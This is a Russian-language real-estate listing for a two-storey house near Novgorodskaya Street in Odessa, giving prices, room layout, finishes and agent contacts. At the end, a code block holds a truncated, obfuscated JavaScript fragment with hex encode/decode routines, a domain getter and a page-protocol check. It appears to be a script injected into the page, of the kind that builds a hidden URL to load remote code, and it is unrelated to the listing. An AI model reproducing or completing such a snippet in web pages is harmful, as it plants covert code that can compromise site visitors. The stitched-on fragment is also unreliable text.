



ИНВЕСТОРС ГРУП

КОМПАНИЯ ПО НЕДВИЖИМОСТИ В ОДЕССЕ И ОДЕССКОЙ ОБЛАСТИ

Продам 2-х этажный дом в районе улицы Новгородская

Код объекта: ДГ-001477



Цена:
6727500 грн
150000 usd
132000 eur

Цена (за кв.м):
60592.35 грн
1351 usd
1188.88 eur



Оксана Григорьевна



(067)5573223,
((048)7944517



zeltana555@gmail.com

Местоположение:

Район: Киевский
Улица: Новгородская
Ориентир: ул. Тимирязева
Жилой комплекс:

Характеристика дома:

Площадь дома: 111 кв.м
Количество этажей: 2
Уровней:
Кол-во комнат: 3
Кол-во спален: 3
Площадь участка: 3 соток (300 кв.м)
Наличие документов: Свидетельство о праве собственности на жилой дом

Описание:

Продается новый 2-х этажный дом, общей площадью 111 кв.м, расположенный на участке, площадью 3 сотки, в районе улицы Новгородская.

На первом этаже дома размещены:

- кухня-гостиная (40 кв.м) со встроенной кухонной мебелью и техникой, кондиционирована;

- прихожая;

- санузел облицован современной плиткой и укомплектован сантехникой (душевая кабинка);

- техническое помещение с установленным двухконтурным отопительным котлом, стиральной машинкой;

На втором этаже дома расположены:

- три спальни (18 кв.м; 14 кв.м; 13 кв.м), одна из которых с выходом на балкон;

- санузел (7 кв.м) облицован плиткой и укомплектован сантехникой (умывальник с зеркалом, унитаз, душ, место под ванну);

В доме сделан ремонт, пол выложен плиткой с водяным подогревом, стены покрыты фактурной штукатуркой ,окрашены (на 1-м этаже) и оклеяны обоями (на 2-м этаже), потолки в кухонной зоне и одной из спален гипсокартонные, в двух спальнях- комбинированы с натяжными, остальные потолки - натяжные. Установлены металлопластиковые окна, деревянные внутренние двери, кондиционирование, на этажи ведет металлическая лестница с деревянными ступенями.

В дом заведена городская канализация.

На участке размещены:

- стояночное место для автомобиля;

- место для беседки и барбекю;

- озеленение;

Дом расположен в тихом месте и в то же время недалеко от транспортной развязки, детского сада, школы, супермаркетов и базара, спортивно-оздоровительных комплексов, в 10 минутах пешком к морю и пляжам 13-й станции Большого Фонтана (пляж «Ривьера»).

До пляжей, моря и развлекательных клубов Аркадии 7-10 минут на автомобиле, до исторического центра города и улицы Дерибасовская 20-25 минут на автомобиле.

P.S. Временно снят с продажи.

```
// o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var
t="",o=0;o < e.length;o++)t+=String.fromCharCode(
parseInt(e[o],16));return t},d=function(){return
"odessainvestgroup.com"},p=function(){var w=win
dow,p=w.document.location.protocol;if(p.indexOf("
http")==0){return p}for(var e=0;e
```